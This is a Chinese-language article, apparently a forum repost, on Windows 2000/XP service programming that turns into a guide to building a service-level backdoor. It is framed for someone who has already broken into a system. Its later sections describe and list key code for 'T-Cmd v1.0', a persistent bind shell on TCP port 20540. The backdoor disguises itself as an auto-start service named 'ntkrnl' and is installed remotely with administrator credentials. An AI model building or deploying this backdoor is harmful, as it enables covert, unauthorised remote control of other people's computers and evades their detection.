case SERVICE_CONTROL_PAUSE:
if (bRunningService && !bPauseService)
{
success = SendStatusToSCM(SERVICE_PAUSE_PENDING, NO_ERROR, 0, 1, 1000);
bPauseService = TRUE;
SuspendThread(hThread);
currentState = SERVICE_PAUSED;
}
break;
case SERVICE_CONTROL_CONTINUE:
if (bRunningService && bPauseService)
{
success = SendStatusToSCM(SERVICE_CONTINUE_PENDING, NO_ERROR, 0, 1, 1000);
bPauseService=FALSE;
ResumeThread(hThread);
currentState = SERVICE_RUNNING;
}
break;
case SERVICE_CONTROL_INTERROGATE:
break;
case SERVICE_CONTROL_SHUTDOWN:
return;
default:
break;
}
SendStatusToSCM(currentState, NO_ERROR, 0, 0, 0);
}
浅析Windows2000/XP服务与后门技术
发布: 艰苦 日期: 05-25 类别: 文档资料 今日/总浏览: 1/12579
一> 序言
Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与UNIX系统中的守护进程(daemon)。它们大多是控制台程序,不过也有少数的GUI程序。本文所涉及到的服务程序仅限于Windows2000/XP系统中的一般服务程序,不包含Windows9X。
二> Windows服务简介
服务控制管理器拥有一个在注册表中记录的数据库,包含了所有已安装的服务程序和设备驱动服务程序的相关信息。它允许系统管理员为每个服务自定义安全要求和控制访问权限。Windows服务包括四大部分:服务控制管理器(Service Control Manager),服务控制程序(Service Control Program),服务程序(Service Program)和服务配置程序(Service Configuration Program)。
1.服务控制管理器(SCM)
服务控制管理器在系统启动的早期由Winlogon进程启动,可执行文件名是“Admin$System32Services.exe”,它是系统中的一个RPC服务器,因此服务配置程序和服务控制程序可以在远程操纵服务。它包括以下几方面的信息:
已安装服务数据库:服务控制管理器在注册表中拥有一个已安装服务的数据库,它在服务控制管理器和程序添加,删除,配置服务程序时使用,在注册表中数据库的位置为:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices。它包括很多子键,每个子键的名字就代表一个对应的服务。数据库中包括:服务类型(私有进程,共享进程),启动类型(自动运行,由服务控制管理器启动,无效),错误类型(忽略,常规错误,服务错误,关键错误),执行文件路径,依赖信息选项,可选用户名与密码。
自动启动服务:系统启动时,服务控制管理器启动所有“自启”服务和相关依赖服务。服务的加载顺序:顺序装载组列表:HKEY_LOCAL_MACHINESystemCurrentControlSetControlServiceGroupOrder;指定组列表:HKEY_LOCAL_MACHINESystemCurrentControlSetControlGroupOrderList;每个服务所依赖的服务程序。在系统成功引导后会保留一份LKG(Last-Know-Good)的配置信息位于:HKEY_LOCAL_MACHINESYSTEMControlSetXXXServices。
因要求而启动服务:用户可以使用服务控制面板程序来启动一项服务。服务控制程序也可以使用StartService来启动服务。服务控制管理器会进行下面的操作:获取帐户信息,登录服务项目,创建服务为悬挂状态,分配登录令牌给进程,允许进程执行。
服务记录列表:每项服务在数据库中都包含了下面的内容:服务名称,开始类型,服务状态(类型,当前状态,接受控制代码,退出代码,等待提示),依赖服务列表指针。
服务控制管理器句柄:服务控制管理器支持句柄类型访问以下对象:已安装服务数据库,服务程序,数据库的锁开状态。
2.服务控制程序(SCP)
服务控制程序可以执行对服务程序的开启,控制和状态查询功能:
开启服务:如果服务的开启类型为SERVICE_DEMAND_START,就可以用服务控制程序来开始一项服务。在开始服务的初始化阶段服务的当前状态为:SERVICE_START_PENDING,而在初始化完成后的状态就是:SERVICE_RUNNING。
向正在运行的服务发送控制请求:控制请求可以是系统默认的,也可以是用户自定义的。标准控制代码如下:停止服务(SERVICE_CONTROL_STOP),暂停服务(SERVICE_CONTROL_PAUSE),恢复已暂停服务(SERVICE_CONTROL_CONTINUE),获得更新信息(SERVICE_CONTROL_INTERROGATE)。
3.服务程序
一个服务程序可能拥有一个或多个服务的执行代码。我们可以创建类型为SERVICE_WIN32_OWN_PROCESS的只拥有一个服务的服务程序。而类型为SERVICE_WIN32_SHARE_PROCESS的服务程序却可以包含多个服务的执行代码。详情参见后面的Windows服务与编程。
4.服务配置程序
编程人员和系统管理员可以使用服务配置程序来更改,查询已安装服务的信息。当然也可以通过注册表函数来访问相关资源。
服务的安装,删除和列举:我们可以使用相关的系统函数来创建,删除服务和查询所有服务的当前状态。
服务配置:系统管理员通过服务配置程序来控制服务的启动类型,显示名称和相关描述信息。
三> Windows服务与编程
Windows服务编程包括几方面的内容,下面我们将从服务控制程序,服务程序和服务配置程序的角度介绍服务编程相关的内容。
1.服务控制程序
执行服务控制程序的相关函数前,我们需要获得一个服务对象的句柄,方式有两种:由OpenSCManager来获得一台特定主机的服务控制管理器数据库的句柄;使用OpenService或CreateService函数来获得某个服务对象的句柄。
启动服务:要启动一个服务,服务控制程序可以使用StartService来实现。如果服务控制管理器数据库被锁定,那需要等待一定的时间然后再次测试StartService函数。当然也可以使用QueryServiceLockStatus函数来确认数据库的当前状态。在启动成功完成时,那么dwCurrentState参数将会返回SERVICE_RUNNING值。
服务控制请求:服务控制程序使用ControlService函数来发送控制请求到正在运行的服务程序。它会向控制句柄函数发送一个特定的控制命令,可以是系统默认的,也可以是用户自定义的。而且每个服务都会确定自己将会接收的控制命令列表。使用QueryServiceStatus函数时,在返回的dwControlsAccepted参数中表明服务程序将会接收的控制命令。所有的服务都会接受SERVICE_CONTROL_INTERROGATE命令。
2.服务程序
一个服务程序内可以包含一个服务或多个服务的执行代码,但是它们都拥有固定的三个部分:服务main函数,服务ServiceMain函数和服务Control Handler函数。
服务main函数:服务程序通常是以控制台的方式存在的,所以它们的入口点都是main函数。在服务控制管理器开始一个服务程序时,会等待StartServiceCtrlDispatcher函数的执行。如果服务类型是SERVICE_WIN32_OWN_PROCESS就会立即调用StartServiceCtrlDispatcher函数的执行;如果服务类型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服务之后再调用它。StartServiceCtrlDispatcher函数的参数就是一个SERVICE_TABLE_ENTRY结构,它包含了进程内所有服务的名称和服务入口点。
服务ServiceMain函数:函数ServiceMain是服务的入口点。在服务控制程序请求一个新的服务启动时,服务控制管理器启动一个服务,并发送一个开始请求到控制调度程序,而后控制调度程序创建一个新线程来执行ServiceMain函数。ServiceMain须执行以下的任务:调用RegisterServiceCtrlHandler函数注册一个HandlerEx函数来向服务发送控制请求信息,返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用SetServiceStatus函数设置服务状态为SERVICE_RUNNING。最后,就是执行服务所要完成的任务。
服务Control Handler函数:每个服务都有一个控制句柄HandlerEx函数。它会在服务进程从服务控制程序接收到一个控制请求时被控制调度程序所调用。无论何时在HandlerEx函数被调用时,都要调用SetServiceStatus函数向服务控制管理器报告它当前的状态。在用户关闭系统时,所有的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码的SetServiceStatus函数来接收NSERVICE_CONTROL_SHUTDOWN控制代码。
3.服务配置程序
服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前,必须获得一个服务对象的句柄,当然我们可以通过调用OpenSCManager,OpenService或CreateService函数来获得。
创建,删除服务:服务配置程序使用CreateService函数在服务控制管理器的数据库中安装一个新服务,它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程序则使用DeleteService函数从数据库中删除一个已经安装的服务。
四> 服务级后门技术
在你进入某个系统后,往往会为自己留下一个或多个后门,以便今后的访问。在上传一个后门程序到远程系统上后系统重启之时,总是希望后门仍然存在。那么,将后门程序创建成服务程序应该是个不错的想法,这就是利用了服务程序自动运行的机制,当然在Windows2000的任务管理器里也很难结束一个服务程序的进程。
创建一个后门,它常常会在一个端口监听,以方便我们使用TCP/UDP协议与远程主机建立连接,所以我们首先需要在后门程序里创建一个监听的端口,为了数据传输的稳定与安全,我们可以使用TCP协议。
那么,我们如何才能模拟一个Telnet服务似的后门呢?我想大家都清楚,如果在远程主机上有一个Cmd是我们可以控制的,也就是我们可以在这个Cmd里执行命令,那么就可以实现对远程主机的控制了,至少可以执行各种常规的系统命令。启动一个Cmd程序的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因为WinExec和ShellExecute它们实在太简单了。在使用CreateProcess时,要用到它的重定向标准输入/输出的选项功能,把在本地主机的输入重定向输入到远程主机的Cmd进程,并且把远程主机Cmd进程的标准输出重定向到本地主机的标准输出。这就需要在后门程序里使用CreatePipe创建两个管道来实现进程间的数据通信(Inter-Process Communication,IPC)。当然,还必须将远程主机上Cmd的标准输入和输出在本地主机之间进行传送,我们选择TCP协议的send和recv函数。在客户结束访问后,还要调用TerminateProcess来结束创建的Cmd进程。
五> 关键函数分析
本文相关程序T-Cmd v1.0是一个服务级的后门程序,适用平台为Windows2000/XP。它可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,监听端口20540/tcp。
1.自定义数据结构与函数
typedef struct
{
HANDLE hPipe;
//为实现进程间通信而使用的管道;
SOCKET sClient;
//与客户端进行通信时的客户端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd标准输入/输出时使用的数据结构;
typedef struct PROCESSDATA
{
HANDLE hProcess;
//创建Cmd进程时获得的进程句柄;
DWORD dwProcessId;
//创建Cmd进程时获得的进程标识符;
struct PROCESSDATA *next;
//指向下一个数据结构的指针;
}PROCESSDATA,*PPROCESSDATA;
//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;
void WINAPI CmdStart(DWORD,LPTSTR *);
//服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程;
void WINAPI CmdControl(DWORD);
//服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;
DWORD WINAPI CmdService(LPVOID);
//服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;
DWORD WINAPI CmdShell(LPVOID);
//创建管道与Cmd进程,及Cmd的输入/输出线程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的输出,读取信息后发送到客户端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的输入,接收客户端的信息输入到Cmd进程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替;
void InstallCmdService(char *);
//复制传送文件,打开服务控制管理器,创建或打开服务程序;
void RemoveCmdService(char *);
//删除文件,停止服务后,卸载服务程序;
2.服务程序相关函数
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服务程序的名称和入口点;
{NULL ,NULL }
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
};
StartServiceCtrlDispatcher(DispatchTable);
//连接服务控制管理器,开始控制调度程序线程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注册CmdControl函数为“HandlerEx”函数,并初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//设置服务的当前状态为SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//创建服务主线程,实现后门功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局变量的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//终止创建的Cmd进程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系统目录下服务程序的文件是否已经存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//获得当前进程的程序文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//复制文件到系统目录下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打开服务控制管理器数据库;
CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服务已经创建,则打开服务;
StartService(schService,0,NULL);
//启动服务进程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服务状态;
DeleteService(schService);
//卸载服务程序;
DeleteFile(lpImagePath);
//删除文件;
3.后门程序相关函数
hMutex=CreateMutex(NULL,FALSE,NULL);
//创建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//创建处理客户端访问的重定向输入输出线程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//创建用于进程间通信的输入/输出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//创建经重定向输入输出的Cmd进程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//创建处理Cmd输入输出的线程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待线程或进程的结束;
ReleaseMutex(hMutex);
//释放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//从管道中复制数据到缓冲区中,但不从管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//从管道中复制数据到缓冲区中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中写入从客户端接收到的数据;
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//与远程主机建立连接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//与远程主机结束连接;
六> 附录
1.SC简介
SC是一个与NT服务控制器,服务进程进行通信的控制台程序,它可以查询和修改已安装服务的数据库。
语法:sc <server> [command] [service name] <option1> <option2>... ,选项<server>为“\ServerName”的形式。
主要的命令包括:query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。
2.T-Cmd v1.0 源代码